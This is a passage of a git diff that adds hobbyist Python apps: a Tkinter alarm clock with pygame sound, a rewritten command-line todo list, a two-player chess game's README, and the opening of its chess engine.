TIME_RELAPSE, TIME_SPEED +from pygame import mixer + +mixer.init() +sound = mixer.Sound('media/sound/alarm.mp3') + + +def get_date_now() -> int: + time_now: datetime = datetime.now() + current_hour: int = time_now.hour + current_minutes: int = time_now.minute + current_seconds: int = time_now.second + current_time: int = 3600 * current_hour + 60 * current_minutes + current_seconds + + return current_time + + +class AlarmClock: + total_time: int + days: List[str:] + event: Event + clock: str + + def __init__(self, clock, event, days): + self.clock = clock + self.event = event + self.days = days + self.total_time = self.user_time() + + self.start_alarm() + + def user_time(self) -> int: + """ + It take the user time and it change to seconds + """ + user_hour_minutes = self.clock.split(':') + hour = int(user_hour_minutes[0]) + minutes = int(user_hour_minutes[1]) + + return 3600 * hour + 60 * minutes + + def check_day(self) -> None: + """ + It check the self.days if a item from the list is the current day it will remove + + """ + initial_day = time.strftime('%a') + for day in self.days: + if day == initial_day: + self.days.remove(day) + + def counter_timer(self) -> None: + """ + It counts the seconds for the alarm, if the alarm is done it will start again after 60 seconds to check for + other alarm + + """ + current_time = get_date_now() + if current_time == self.total_time: + sound.play() # It start the alarm sound + time.sleep(TIME_RELAPSE) + self.start_alarm() + else: + time.sleep(TIME_SPEED) + + def start_alarm(self) -> None: + while not self.event.is_set(): + if len(self.days) == 0: + break + else: + self.check_day() + while not self.event.is_set(): + self.counter_timer() diff --git a/PYTHON APPS/Alarm_Clock/configuration.py b/PYTHON APPS/Alarm_Clock/configuration.py new file mode 100644 index 00000000..71c1d2b5 --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/configuration.py @@ -0,0 +1,46 @@ +# Configuration for the app size and title +from typing import Dict, Tuple, List + +WIDTH: int = 700 +HEIGHT: int = 700 +ICON_PATH: str = 'media/image/empty.ico' +TITLE_APP: str = '' +THEME: str = 'darkly' + +CLOCK = { + 'X': 0, + 'Y': 0, + 'WIDTH': 1, + 'HEIGHT': 0.3, + } +PANEL = { + 'X': 0, + 'Y': 0.3, + 'WIDTH': 1, + 'HEIGHT': 0.6, + } +BUTTON = { + 'X': 0.5, + 'Y': 0.95, + } + +TIME = { + 'ROW': 0, + 'COLUMN': 0, + 'SPAN': 2, + 'STICKY': 'ns' + } +DATE = { + 'ROW': 1, + 'COLUMN': 0, + 'SPAN': 2, + 'STICKY': 'n' + } +# Configuration for the top level +LIST_DAY: tuple[str:] = ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat',) +TOP_LEVEL: dict[str, int] = dict(WIDTH = 300, HEIGHT = 200) + +# Configuration for the backend of alarm +TIME_RELAPSE = 60 +TIME_SPEED = 1 + diff --git a/PYTHON APPS/Alarm_Clock/frame_alarm.py b/PYTHON APPS/Alarm_Clock/frame_alarm.py new file mode 100644 index 00000000..eb44bc61 --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/frame_alarm.py @@ -0,0 +1,151 @@ +from threading import Thread, Event +from configuration import LIST_DAY +import ttkbootstrap as ttk +from backend_alarm import AlarmClock + + +def start_alarm(clock: str, event: Event, days: str) -> None: + AlarmClock(clock = clock, event = event, days = days).start_alarm() + + +class AlarmsFrame(ttk.Frame): + def __init__(self, parent, text): + super().__init__(master = parent, ) + + # set style + self.style = ttk.Style() + # styling the delete button + self.style.configure( + style = 'Delete.TButton', + background = '#e74c3c', + anchor = 'center', + font = ('Helvetica', 14, 'bold') + ) + + self.style.map( + style = 'Delete.TButton', + background = [('active', '#e74c3c')], + bordercolor = '#e74c3c', + ) + + # styling the time label for the alarm + self.style.configure( + style = 'Alarm_Set.TLabel', + anchor = 'center', + font = ('Helvetica', 18, 'bold') + ) + + # set grid layout + self.event = Event() + self.rowconfigure((0, 1), weight = 1, uniform = 'a') + self.columnconfigure(list(range(0, 7)), weight = 1, uniform = 'a') + + # set data + self.day_label = list(range(7)) + self.days_on = list() + self.time_str = text + self.variable_checkbutton = ttk.BooleanVar() + + # set widgets + self.time_label = ttk.Label( + style = 'Alarm_Set.TLabel', + master = self, + text = self.time_str, + ) + + self.checkbutton = ttk.Checkbutton( + master = self, + variable = self.variable_checkbutton, + command = self.set_alarm + ) + + self.delete_button = ttk.Button( + master = self, + style = 'Delete.TButton', + text = 'Delete', + command = self.delete_alarm + ) + + # set layout + self.time_label.grid(row = 0, column = 0, sticky = 'news') + self.checkbutton.grid(row = 0, column = 5, sticky = 'nse') + self.delete_button.grid(row = 0, column = 6, sticky = 'news') + + # add the layer of day + for index, day in enumerate(LIST_DAY): + self.day_label[index] = DayButton( + parent = self, + day_name = day, + row = 1, + column = index, + ) + + def set_alarm(self): + + self.select_days() + alarm_test = Thread( + target = start_alarm, + args = (self.time_str, self.event, self.days_on), + daemon = True + ) + + if self.variable_checkbutton.get(): + self.event.clear() + alarm_test.start() + else: + self.event.set() + + def delete_alarm(self): + self.event.set() + self.destroy() + + def select_days(self): + + self.days_on.clear() + for i in range(7): + if not self.day_label[i].state.get(): + self.days_on.append(self.day_label[i]['text']) + + +class DayButton(ttk.Label): + + def __init__(self, parent, day_name, row, column): + self.style = ttk.Style() + self.style.configure( + style = 'Day.TLabel', + font = ('Helvetica', 16), + ) + super().__init__( + master = parent, + text = day_name, + style = 'Day.TLabel', + anchor = 'center', + background = '#303030' + ) + self.state = ttk.BooleanVar(value = True) + self.grid( + row = row, + column = column, + sticky = 'news', + padx = 2, + pady = 2 + ) + self.bind('', self.enter_alarm) + self.bind('', self.leave_alarm) + self.bind('', self.select_alarm) + + def enter_alarm(self, event = None): + if self.state.get(): + self.configure(background = '#526170') + + def leave_alarm(self, event = None): + if self.state.get(): + self.configure(background = '#303030') + + def select_alarm(self, event = None): + if self.state.get(): + self.configure(background = '#00bc8c') + self.state.set(False) + else: + self.configure(background = '#303030') + self.state.set(True) diff --git a/PYTHON APPS/Alarm_Clock/main.py b/PYTHON APPS/Alarm_Clock/main.py new file mode 100644 index 00000000..da66f7da --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/main.py @@ -0,0 +1,148 @@ +from tkinter import IntVar + +from toplevel import TopLevel +import ttkbootstrap as ttk +from configuration import ( + WIDTH, HEIGHT, + ICON_PATH, TITLE_APP, + THEME, CLOCK, BUTTON, PANEL, + ) +from widgets import ( + ClockFrame, AlarmClockPanel, + AddAlarmClock, AlarmsFrame, + ) + +# Import the libraries for changing the title bar color, it works only on windows :/ +try: + from ctypes import windll, byref, sizeof, c_int +except ImportError: + pass + + +class App(ttk.Window): + hour_int: IntVar + minute_int: IntVar + + alarm_panel: AlarmClockPanel + button_top_level: AddAlarmClock + clock_frame: ClockFrame + + def __init__(self): + super().__init__(themename = THEME) + self.bind('', lambda even: self.destroy()) + self.set_geometry(height = HEIGHT, width = WIDTH) + self.title(TITLE_APP) + self.set_icon(path_image = ICON_PATH) + self.set_title_color() + + # set data + + self.hour_int = ttk.IntVar(value = 0) + self.minute_int = ttk.IntVar(value = 0) + self.top_level = None + + # create widgets + self.clock_frame = ClockFrame(self) + self.alarm_panel = AlarmClockPanel(parent = self) + self.button_top_level = AddAlarmClock(parent = self, button_function = self.start_top_level) + + # set layout for widgets(place method) + self.clock_frame.place( + relx = CLOCK['X'], + rely = CLOCK['Y'], + relwidth = CLOCK['WIDTH'], + relheight = CLOCK['HEIGHT'], + anchor = 'nw' + ) + self.alarm_panel.place( + relx = PANEL['X'], + rely = PANEL['Y'], + relwidth = PANEL['WIDTH'], + relheight = PANEL['HEIGHT'], + anchor = 'nw', + ) + self.button_top_level.place( + relx = BUTTON['X'], + rely = BUTTON['Y'], + anchor = 'center' + ) + + # Set a model for the alarm :), you can eliminate if you don t like it + # Start here + alarm = AlarmsFrame( + parent = self.alarm_panel, + text = '12:00', + ) + self.alarm_panel.add_alarm(alarm) + # Stop here + + # run the window + self.mainloop() + + def set_icon(self, path_image: str) -> None: + try: + self.iconbitmap(path_image) + except Exception: + pass + + def set_geometry(self, width: int, height: int) -> None: + """ + It make the windows to be in the center of your desktop. + The formula is down and you could found on the internet explained very well :) + """ + desktop_height = self.winfo_screenheight() # it take your desktop height + desktop_width = self.winfo_screenwidth() # it take your desktop width + window_top = int((desktop_height - height) / 2) + window_left = int((desktop_width - width) / 2) + self.geometry(f'{width}x{height}+{window_left}+{window_top}') + + def set_title_color(self) -> None: + try: + HWND: int = windll.user32.GetParent(self.winfo_id()) + DWMWA_ATTRIBUTE: int = 35 + color: int = 0x00000000 + windll.dwmapi.DwmSetWindowAttribute(HWND, DWMWA_ATTRIBUTE, byref(c_int(color)), sizeof(c_int)) + + except Exception: + pass + + def start_top_level(self) -> None: + """ + It show the windows to set your alarm + """ + self.top_level = TopLevel( + parent = self, + hour_int = self.hour_int, + minute_int = self.minute_int, + ok_function = self.ok_button, + cancel_function = self.cancel_button + ) + + def ok_button(self) -> None: + """ + It take to input from the top level and paste the time of the alarm + + """ + if self.hour_int.get() or self.minute_int.get(): + + hour, minute = self.hour_int.get(), self.minute_int.get() + hour_str = str(hour) if hour >= 10 else f'0{hour}' + minutes_str = str(minute) if minute >= 10 else f'0{minute}' + + text_label = f'{hour_str}:{minutes_str}' + alarm_frame = AlarmsFrame(parent = self.alarm_panel, text = text_label) + + self.alarm_panel.add_alarm(alarm_frame) + self.hour_int.set(value = 0) + self.minute_int.set(value = 0) + self.top_level.destroy() + + def cancel_button(self) -> None: + + self.hour_int.set(value = 0) + self.minute_int.set(value = 0) + self.top_level.destroy() + + +if __name__ == '__main__': + App() diff --git a/PYTHON APPS/Alarm_Clock/media/image/chose_timer.png b/PYTHON APPS/Alarm_Clock/media/image/chose_timer.png new file mode 100644 index 00000000..0b943642 Binary files /dev/null and b/PYTHON APPS/Alarm_Clock/media/image/chose_timer.png differ diff --git a/PYTHON APPS/Alarm_Clock/media/image/empty.ico b/PYTHON APPS/Alarm_Clock/media/image/empty.ico new file mode 100644 index 00000000..ec5795a6 Binary files /dev/null and b/PYTHON APPS/Alarm_Clock/media/image/empty.ico differ diff --git a/PYTHON APPS/Alarm_Clock/media/image/main.png b/PYTHON APPS/Alarm_Clock/media/image/main.png new file mode 100644 index 00000000..9e4369d5 Binary files /dev/null and b/PYTHON APPS/Alarm_Clock/media/image/main.png differ diff --git a/PYTHON APPS/Alarm_Clock/media/image/start_alarm.png b/PYTHON APPS/Alarm_Clock/media/image/start_alarm.png new file mode 100644 index 00000000..c2d4103a Binary files /dev/null and b/PYTHON APPS/Alarm_Clock/media/image/start_alarm.png differ diff --git a/PYTHON APPS/Alarm_Clock/media/sound/alarm.mp3 b/PYTHON APPS/Alarm_Clock/media/sound/alarm.mp3 new file mode 100644 index 00000000..6b9965ab Binary files /dev/null and b/PYTHON APPS/Alarm_Clock/media/sound/alarm.mp3 differ diff --git a/PYTHON APPS/Alarm_Clock/toplevel.py b/PYTHON APPS/Alarm_Clock/toplevel.py new file mode 100644 index 00000000..9a31a38e --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/toplevel.py @@ -0,0 +1,139 @@ +import ttkbootstrap as ttk +import tkinter as tk +from configuration import TOP_LEVEL + + +class TopLevel(tk.Toplevel): + def __init__( + self, parent, + hour_int, minute_int, + ok_function, cancel_function + ): + super().__init__(master = parent) + + # set attributes + + self.bind('', lambda event: self.destroy()) + self.title('Clock') + self.set_geometry(width = TOP_LEVEL['WIDTH'], height = TOP_LEVEL['HEIGHT']) + + # set data + self.hour_int = hour_int + self.minute_int = minute_int + + # set style + self.top_level_style = ttk.Style() + + # The OK button style + self.top_level_style.configure( + style = 'OK.TButton', + anchor = 'center', + background = '#303030', + bordercolor = '#303030', + font = ('Helvetica', 15, 'bold'), + ) + self.top_level_style.map( + style = 'OK.TButton', + background = [('active', '#526170')], + bordercolor = '#303030' + ) + + # The CANCEL button style + self.top_level_style.configure( + style = 'CANCEL.TButton', + anchor = 'center', + background = '#303030', + bordercolor = '#303030', + font = ('Helvetica', 15, 'bold'), + ) + self.top_level_style.map( + style = 'CANCEL.TButton', + background = [('active', '#526170'), ], + bordercolor = '#303030' + ) + # The spinbox + self.top_level_style.configure( + style = 'PAUSE.TLabel', + font = ('Helvetica', 20, 'bold'), + anchor = 'center' + + ) + self.top_level_style.configure( + style = 'Clock.TSpinbox', + anchor = 'center', + arrowsize = 30, + ) + self.top_level_style.map( + style = 'Clock.TSpinbox', + ) + + # create widgets + + # Create the Hour Spin + self.hour_spin = ttk.Spinbox( + master = self, + style = 'Clock.TSpinbox', + textvariable = self.hour_int, + font = ('Helvetica', 20, 'bold'), + from_ = 0, + to = 23, + ) + + # Create the ":" for spacing + self.space_label = ttk.Label( + master = self, + style = 'PAUSE.TLabel', + text = ':' + ) + + # Create the Minute Spin + self.minute_spin = ttk.Spinbox( + master = self, + style = 'Clock.TSpinbox', + textvariable = self.minute_int, + font = ('Helvetica', 20, 'bold'), + from_ = 0, + to = 59, + ) + + # Create the OK button + self.ok_button = ttk.Button( + master = self, + text = 'OK', + style = 'OK.TButton', + command = ok_function + ) + # Create the CANCEL button + self.cancel_button = ttk.Button( + master = self, + text = 'Cancel', + command = cancel_function, + style = 'CANCEL.TButton', + ) + + # layout + self.rowconfigure((0, 1, 2, 3), weight = 1, uniform = 'a') + self.columnconfigure((0, 1, 2), weight = 1, uniform = 'a') + + # first row + self.hour_spin.grid(row = 1, column = 0) + self.space_label.grid(row = 1, column = 1) + self.minute_spin.grid(row = 1, column = 2) + + # second row(the button) + self.ok_button.grid(row = 2, column = 0, sticky = 'news') + self.cancel_button.grid(row = 2, column = 2, sticky = 'news') + + # set the top level to be the main + self.grab_set() + + def set_geometry(self, width: int, height: int) -> None: + """ + It make the windows to be in the center of your desktop. + The formula is down and you could found on the internet explained very well :) + """ + desktop_height = self.winfo_screenheight() # it take your desktop height + desktop_width = self.winfo_screenwidth() # it take your desktop width + window_top = int((desktop_height - height) / 2) + window_left = int((desktop_width - width) / 2) + self.geometry(f'{width}x{height}+{window_left}+{window_top}') diff --git a/PYTHON APPS/Alarm_Clock/widgets.py b/PYTHON APPS/Alarm_Clock/widgets.py new file mode 100644 index 00000000..c1ed6f1e --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/widgets.py @@ -0,0 +1,114 @@ +from frame_alarm import AlarmsFrame +from configuration import TIME, DATE +from ttkbootstrap.scrolled import ScrolledFrame +import ttkbootstrap as ttk +import time + + +class ClockFrame(ttk.Frame): + def __init__(self, parent, ): + super().__init__(master = parent) + # layout + self.rowconfigure(0, weight = 1, uniform = 'a') + self.rowconfigure(1, weight = 1, uniform = 'a') + self.columnconfigure(0, weight = 1, uniform = 'a') + + # set data + self.time_string = ttk.StringVar() + self.date_string = ttk.StringVar() + + # start the clock + + self.update_time() + + # set set style + self.style = ttk.Style() + # Configure the style of time label + self.style.configure( + style = 'Time.TLabel', + font = ('Helvetica', 30, 'bold'), + anchor = 'center' + ) + + # Configure the style of time label + self.style.configure( + style = 'Data.TLabel', + font = ('Helvetica', 30, 'bold'), + anchor = 'center' + ) + + # Creating the widgets for the time and the date + + self.label_time = ttk.Label( + master = self, + textvariable = self.time_string, + style = 'Time.TLabel' + ) + + self.label_date = ttk.Label( + master = self, + textvariable = self.date_string, + style = 'Data.TLabel' + ) + + # set layout + + self.label_time.grid( + row = TIME['ROW'], + column = TIME['COLUMN'], + columnspan = TIME['SPAN'], + sticky = TIME['STICKY'] + ) + self.label_date.grid( + row = DATE['ROW'], + column = DATE['COLUMN'], + columnspan = DATE['SPAN'], + sticky = DATE['STICKY'] + ) + + def update_time(self): + # set time and date format + + time_format = "%H:%M:%S" + date_format = "%a %B %d" + + # update the time for every 1 second(using a recursion func) + + self.time_string.set(time.strftime(time_format)) + self.after(1000, self.update_time) + self.date_string.set(time.strftime(date_format)) + + +class AlarmClockPanel(ScrolledFrame): + def __init__(self, parent): + super().__init__(master = parent) + + @staticmethod + def add_alarm(alarm) -> None: + """ + Add the alarm to be show on the panel + """ + alarm.pack(fill = 'both', expand = True) + + +class AddAlarmClock(ttk.Frame): + def __init__(self, parent, button_function): + super().__init__(master = parent) + + # set style for the button + self.style = ttk.Style() + self.style.configure( + style = 'Alarm.TButton', + font = ('Helvetica', 20, 'bold'), + anchor = 'center' + ) + + # Create the button for adding alarms + self.button = ttk.Button( + master = self, + text = '✚', + command = button_function, + style = 'Alarm.TButton', + ) + # pack the button + self.button.pack() diff --git a/PYTHON APPS/CLI-Based-TODO/task.py b/PYTHON APPS/CLI-Based-TODO/task.py old mode 100644 new mode 100755 index aff9a122..07cacb4c --- a/PYTHON APPS/CLI-Based-TODO/task.py +++ b/PYTHON APPS/CLI-Based-TODO/task.py @@ -1,117 +1,145 @@ -import time,os,sys +#!/usr/bin/env python3 +# Python todo list -usage = "Usage :-\n$ ./task add 2 'hello world' # Add a new item with priority 2 and text \"hello world\" to the list\n$ ./task ls # Show incomplete priority list items sorted by priority in ascending order\n$ ./task del INDEX # Delete the incomplete item with the given index\n$ ./task done INDEX # Mark the incomplete item with the given index as complete\n$ ./task help # Show usage\n$ ./task report # Statistics ( list complete/incomplete task )" - -def func(): - try: - - # printing help - if sys.argv[1]=="help": - print(usage) - return usage - - # lisiting all the task - if sys.argv[1]=="ls": - try: - f = open("path/to/plans/task.txt",'r') - data = f.read() - datalist = data.split("\n") - datalist = sorted(datalist) - datalist = datalist[1:] - # print(datalist) - for i in range(len(datalist)): - print(f"{i+1}. {datalist[i][2:]} [{datalist[i][0:1]}]") - - except: - print("Error: Missing file") +import os +from argparse import ArgumentParser as aparse +# change the path of the files here to the actual desired paths +taskTxt = "task.txt" +completedTxt = "completed.txt" +def create_parser(): + parser = aparse(description="""Command Line task list""") + parser.add_argument("toDo", default="ls", choices=['usage', 'ls', 'add', 'del', 'done', 'report'], help="Enter command: usage, ls, add, del, done, report.") + parser.add_argument("-p", required=False, type=int, help="item priority") + parser.add_argument("-i", required=False, type=str, help="List item to add, remove, or mark done.") + return parser - # adding the task - if sys.argv[1]=="add": - try: - with open("path/to/plans/task.txt",'a',encoding = 'utf-8') as f: - res = f.write(f"{sys.argv[2]} {sys.argv[3]}\n") - except: - print("Error: Missing tasks string. Nothing added!") - else: - print(f"Added task: \"{sys.argv[3]}\" with priority {sys.argv[2]}") - - - - # deleting the task - if sys.argv[1]=="del": - lineno = int(sys.argv[2]) - try: - with open("path/to/plans/task.txt","r+") as f: - new_f = f.readlines() - new_f = sorted(new_f) - # print(new_f) - del_f = new_f.pop(lineno-1) - # print(new_f) - - f.seek(0) - for line in new_f: - if del_f not in line: - f.write(line) - f.truncate() - except: - print(f"Error: item with index {lineno} does not exist. Nothing deleted.") - - - - # marking done - if sys.argv[1]=="done": - lineno = int(sys.argv[2]) +def func(): + args = create_parser().parse_args() + + # check if files exist, create if not + if not os.path.exists(taskTxt): + with open(taskTxt, "w") as filet: + pass + + if not os.path.exists(completedTxt): + with open(completedTxt, "w") as filec: + pass + + if args.toDo == "ls": + lister(read_list()) + + # adding the task + if args.toDo == "add": + if args.i == '' or args.p == '': + raise ValueError('An item and priority must be entered') + taskList = read_list() + taskList.insert((args.p - 1), args.i) + with open(taskTxt, "w") as f: + for line in taskList: + f.write(line + "\n") + + + # deleting the task + if args.toDo == "del": + if args.i == '' or args.p == '': + raise ValueError('An item or priority must be entered') + taskList = read_list() + if args.p: + index = args.p - 1 + delete_item(index, taskList) + else: try: - with open("path/to/plans/task.txt","r+") as f: - new_f = f.readlines() - new_f = sorted(new_f) - # print(new_f) - del_f = new_f.pop(lineno-1) - # print(new_f) - - f.seek(0) - for line in new_f: - if del_f not in line: - f.write(line) - with open("path/to/plans/completed.txt","a") as r: - r.write(del_f) - f.truncate() - - - - except: - print(f"Error: no incomplete item with index #0 exists.") - else: - print(f"Marked item as done.") - - - # generating the report - if sys.argv[1]=="report": + index = taskList.index(args.i) + delete_item(index, taskList) + exit(0) + except(ValueError): + print(f"Item {args.i} not found. Maybe run ls and try again?") + exit(0) + + # marking done + if args.toDo == "done": + if args.i == '' or args.p == '': + raise ValueError('An item or priority must be entered') + taskList = read_list() + if args.p: + index = args.p - 1 + do_item(index, taskList) + else: try: - task = open("path/to/plans/task.txt",'r') - data = task.read() - datalist = data.split("\n") - datalist = sorted(datalist) - datalist = datalist[1:] - print(f"Pending : {len(datalist)}") - for i in range(len(datalist)): - print(f"{i+1}. {datalist[i][2:]} [{datalist[i][0:1]}]") - - compt = open("path/to/plans/completed.txt",'r') - data = compt.read() - datalist = data.split("\n") - datalist = sorted(datalist) - datalist = datalist[1:] - print(f"Completed : {len(datalist)}") - for i in range(len(datalist)): - print(f"{i+1}. {datalist[i][2:]} [{datalist[i][0:1]}]") - except: - print("Error: Missing file") - - except: - print(usage) - return usage.encode('utf8') - -func() \ No newline at end of file + index = taskList.index(args.i) + do_item(index, taskList) + exit(0) + except(ValueError): + print(f"Item {args.i} not found. Maybe run ls and try again?") + exit(0) + + # generating the report + if args.toDo == "report": + print("\n") + print("To do:") + lister(read_list()) + print("\n") + print("Done:") + lister(read_complete()) + +def read_list(): + with open(taskTxt, "r") as file: + task_list = file.readlines() + # all the newlines added during file writing must be removed otherwise printing is messed up + strip_list = [] + for item in task_list: + strip_list.append(item.strip()) + filtered_list = [item for item in strip_list if item != ""] + return filtered_list + +def read_complete(): + with open(completedTxt, "r") as file: + completed_list = file.readlines() + # all the newlines added during file writing must be removed otherwise printing is messed up + strip_list = [] + for item in completed_list: + strip_list.append(item.strip()) + filtered_list = [item for item in strip_list if item != ""] + return filtered_list + +def delete_item(index, taskList): + print("\n") + print(f"Do you want to delete {taskList[index]}?") + answer = input("Enter y or n: ") + if answer == "y": + taskList.pop(index) + with open(taskTxt, "w") as f: + for line in taskList: + f.write(line + "\n") + print("Item Deleted") + exit(0) + print("No item deleted") + exit(0) + +def do_item(index, taskList): + print("\n") + print(f"Do you want to move {taskList[index]} to done?") + answer = input("Enter y or n: ") + if answer == "y": + task = taskList.pop(index) + with open(taskTxt, "w") as f: + for line in taskList: + f.write(line + "\n") + completed = read_complete() + completed.append(task) + with open(completedTxt, "w") as f: + for line in completed: + f.write(line + "\n") + print("Item marked done") + exit(0) + print("No item changed") + exit(0) + +def lister(items): + for item, line in enumerate(items, 1): + print(f"{item}: {line.strip()}") + +if __name__ == "__main__": + func() diff --git a/PYTHON APPS/CLI-Based-TODO/time,os,sys b/PYTHON APPS/CLI-Based-TODO/time,os,sys new file mode 100644 index 00000000..e69de29b diff --git a/PYTHON APPS/Chess/Images/Highlight.jpg b/PYTHON APPS/Chess/Images/Highlight.jpg new file mode 100644 index 00000000..6b920cfa Binary files /dev/null and b/PYTHON APPS/Chess/Images/Highlight.jpg differ diff --git a/PYTHON APPS/Chess/Images/PromotionMenu.jpg b/PYTHON APPS/Chess/Images/PromotionMenu.jpg new file mode 100644 index 00000000..f021a05e Binary files /dev/null and b/PYTHON APPS/Chess/Images/PromotionMenu.jpg differ diff --git a/PYTHON APPS/Chess/Images/bB.png b/PYTHON APPS/Chess/Images/bB.png new file mode 100644 index 00000000..453cb323 Binary files /dev/null and b/PYTHON APPS/Chess/Images/bB.png differ diff --git a/PYTHON APPS/Chess/Images/bK.png b/PYTHON APPS/Chess/Images/bK.png new file mode 100644 index 00000000..225f869e Binary files /dev/null and b/PYTHON APPS/Chess/Images/bK.png differ diff --git a/PYTHON APPS/Chess/Images/bN.png b/PYTHON APPS/Chess/Images/bN.png new file mode 100644 index 00000000..8e3d04e6 Binary files /dev/null and b/PYTHON APPS/Chess/Images/bN.png differ diff --git a/PYTHON APPS/Chess/Images/bQ.png b/PYTHON APPS/Chess/Images/bQ.png new file mode 100644 index 00000000..0d94a1c2 Binary files /dev/null and b/PYTHON APPS/Chess/Images/bQ.png differ diff --git a/PYTHON APPS/Chess/Images/bR.png b/PYTHON APPS/Chess/Images/bR.png new file mode 100644 index 00000000..b9748e87 Binary files /dev/null and b/PYTHON APPS/Chess/Images/bR.png differ diff --git a/PYTHON APPS/Chess/Images/bp.png b/PYTHON APPS/Chess/Images/bp.png new file mode 100644 index 00000000..c432d38a Binary files /dev/null and b/PYTHON APPS/Chess/Images/bp.png differ diff --git a/PYTHON APPS/Chess/Images/chess.jpg b/PYTHON APPS/Chess/Images/chess.jpg new file mode 100644 index 00000000..026f3456 Binary files /dev/null and b/PYTHON APPS/Chess/Images/chess.jpg differ diff --git a/PYTHON APPS/Chess/Images/chess1.jpg b/PYTHON APPS/Chess/Images/chess1.jpg new file mode 100644 index 00000000..2c553054 Binary files /dev/null and b/PYTHON APPS/Chess/Images/chess1.jpg differ diff --git a/PYTHON APPS/Chess/Images/dtb.jpg b/PYTHON APPS/Chess/Images/dtb.jpg new file mode 100644 index 00000000..28cf524b Binary files /dev/null and b/PYTHON APPS/Chess/Images/dtb.jpg differ diff --git a/PYTHON APPS/Chess/Images/icon.png b/PYTHON APPS/Chess/Images/icon.png new file mode 100644 index 00000000..49a1748e Binary files /dev/null and b/PYTHON APPS/Chess/Images/icon.png differ diff --git a/PYTHON APPS/Chess/Images/logo1.jpg b/PYTHON APPS/Chess/Images/logo1.jpg new file mode 100644 index 00000000..dc8e890d Binary files /dev/null and b/PYTHON APPS/Chess/Images/logo1.jpg differ diff --git a/PYTHON APPS/Chess/Images/ltb.jpg b/PYTHON APPS/Chess/Images/ltb.jpg new file mode 100644 index 00000000..843c3b95 Binary files /dev/null and b/PYTHON APPS/Chess/Images/ltb.jpg differ diff --git a/PYTHON APPS/Chess/Images/royal.jpg b/PYTHON APPS/Chess/Images/royal.jpg new file mode 100644 index 00000000..164245b1 Binary files /dev/null and b/PYTHON APPS/Chess/Images/royal.jpg differ diff --git a/PYTHON APPS/Chess/Images/wB.png b/PYTHON APPS/Chess/Images/wB.png new file mode 100644 index 00000000..26dae01c Binary files /dev/null and b/PYTHON APPS/Chess/Images/wB.png differ diff --git a/PYTHON APPS/Chess/Images/wK.png b/PYTHON APPS/Chess/Images/wK.png new file mode 100644 index 00000000..d7341649 Binary files /dev/null and b/PYTHON APPS/Chess/Images/wK.png differ diff --git a/PYTHON APPS/Chess/Images/wN.png b/PYTHON APPS/Chess/Images/wN.png new file mode 100644 index 00000000..2d716b15 Binary files /dev/null and b/PYTHON APPS/Chess/Images/wN.png differ diff --git a/PYTHON APPS/Chess/Images/wQ.png b/PYTHON APPS/Chess/Images/wQ.png new file mode 100644 index 00000000..a4fe68c8 Binary files /dev/null and b/PYTHON APPS/Chess/Images/wQ.png differ diff --git a/PYTHON APPS/Chess/Images/wR.png b/PYTHON APPS/Chess/Images/wR.png new file mode 100644 index 00000000..a805de49 Binary files /dev/null and b/PYTHON APPS/Chess/Images/wR.png differ diff --git a/PYTHON APPS/Chess/Images/wp.png b/PYTHON APPS/Chess/Images/wp.png new file mode 100644 index 00000000..e98fae2b Binary files /dev/null and b/PYTHON APPS/Chess/Images/wp.png differ diff --git a/PYTHON APPS/Chess/README.md b/PYTHON APPS/Chess/README.md new file mode 100644 index 00000000..59132491 --- /dev/null +++ b/PYTHON APPS/Chess/README.md @@ -0,0 +1,45 @@ +# Two Player Chess + +This is a simple two-player chess game built in Python. It uses the standard rules of chess and allows two players to play against each other on the same computer. + +## Installation + +To install and run the game, follow these steps: + +1. Clone the repository to your local machine. +2. Navigate to the project directory in your terminal. +3. Install pygame , a Python library for creating games, by running the following command: + + ``` + pip install pygame + ``` + +4. Start the game by running the following command: + + ``` + python main.py + ``` + +## How to Play + +The game is played using the standard rules of chess. Each player takes turns moving their pieces on the board until one player is in checkmate or a draw is declared. + +To move a piece, select it with your mouse and drag it to the desired square. If the move is legal, the piece will be placed on the new square. If the move is not legal, the piece will return to its original position. + +## Features + +- `En Passant`: Special pawn capture move inclusion +- `Castling`: Ability to perform the castling maneuver +- `Checkmate and Stalemate Detection`: Logic for detecting game-ending states +- `User Interface`: Graphical representation of the board with mouse controls +- `Standard Chess Rules`: Adherence to traditional chess rules +- `Two-Player Mode`: Enable two human players to compete on the same device + +## Code Overview + +The game is built using two Python files: + +- `engine.py`: This file contains the logic for the chess game, including the rules for moving pieces and checking for checkmate and stalemate. +- `main.py`: This file contains the user interface for the game, including the graphical representation of the board and the mouse controls for moving pieces. + +Build with :heart: by [Purna Shrestha](https://github.com/purnasth) \ No newline at end of file diff --git a/PYTHON APPS/Chess/engine.py b/PYTHON APPS/Chess/engine.py new file mode 100644 index 00000000..fba0bdf6 --- /dev/null +++ b/PYTHON APPS/Chess/engine.py @@ -0,0 +1,599 @@ + + +class gamestate(): + def __init__(self): + # 2D 8x8 list, each element has 2 characters. + # The first character represents the color of the piece + # The second character represents the type of the piece + # "--" represents an empty space with no piece + # "wp" represents a white pawn + # "bR" represents a black rook + # "bK" represents a black king + # "wQ" represents a white queen + # and so on + self.board = [ + ["bR","bN","bB","bQ","bK","bB","bN","bR"], + ["bp","bp","bp","bp","bp","bp","bp","bp"], + ["--","--","--","--","--","--","--","--"], + ["--","--","--","--","--","--","--","--"], + ["--","--","--","--","--","--","--","--"], + ["--","--","--","--","--","--","--","--"], + ["wp","wp","wp","wp","wp","wp","wp","wp"], + ["wR","wN","wB","wQ","wK","wB","wN","wR"]] + + # dictionary to map pieces to their respective move functions + # so that proper function is called for each piece + + self.moveFunctions = {'p':self.getPawnMoves,'R':self.getRookMoves,'N':self.getKnightMoves, + 'B':self.getBishopMoves,'Q':self.getQueenMoves,'K':self.getKingMoves} + + + # we dont have to write 6 different functions for each piece + + + + + self.whitemove=True + self.moveLog = [] + self.whiteKingLocation = (7,4) + self.blackKingLocation = (0,4) + self.checkmate = False + self.stalemate = False + self.enpassantPossible = () # coordinates for the square where en passant capture is possible + self.currentCastlingRights = castleRights(True,True,True,True) + self.castleRightsLog = [castleRights(self.currentCastlingRights.wks,self.currentCastlingRights.bks,self.currentCastlingRights.wqs,self.currentCastlingRights.bqs)] + + # pawn promotion is if white pawn reaches row 0 + # or if a black pawn reaches row 7 + + def makePawnPromotion(self,move,user_choice): + 